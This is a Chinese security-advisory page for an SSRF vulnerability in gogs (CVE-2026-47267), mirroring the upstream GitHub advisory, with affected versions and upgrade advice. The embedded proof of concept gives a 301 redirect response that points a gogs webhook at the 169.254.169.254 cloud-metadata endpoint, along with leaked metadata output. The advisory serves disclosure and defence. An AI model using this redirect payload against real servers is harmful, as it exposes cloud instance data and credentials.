【高危】gogs:服务端请求伪造风险(GHSA-c4v7-xg93-qf8g)
安全情报快照 · 风险级别:高危 · CVSS:8.3 · CVE-2026-47267 · GHSA-c4v7-xg93-qf8g
先看结论
gogs存在服务端请求伪造风险,<= 0.14.2 受影响,建议升级至 0.14.3。
影响范围
| 生态 | 组件 | 受影响版本 | 首个修复版本 |
|---|---|---|---|
| go | gogs.io/gogs |
<= 0.14.2 | 0.14.3 |
处置建议
优先将 gogs.io/gogs 升级至 0.14.3 或更高版本;升级前请结合业务依赖完成兼容性验证。
上游技术详情(原文)
Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close
It is possible to access 169.254.169.254
PoC
- Run netcat on any server
- Use this server as the webhook URL
- Once you get the request from the webhook (for example by testing it), copy the response above
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}
Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
来源与许可
- GitHub Advisory GHSA-c4v7-xg93-qf8g
- https://github.com/gogs/gogs/security/advisories/GHSA-c4v7-xg93-qf8g
- https://github.com/gogs/gogs/pull/8263
- https://github.com/gogs/gogs/commit/199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018
- https://nvd.nist.gov/vuln/detail/CVE-2026-47267
本页自动同步 GitHub Advisory Database 的公开数据,并保留上游原文供核验;不宣称原创分析。数据许可:CC-BY-4.0。
评论
登录 后参与讨论。
还没有评论,来说两句。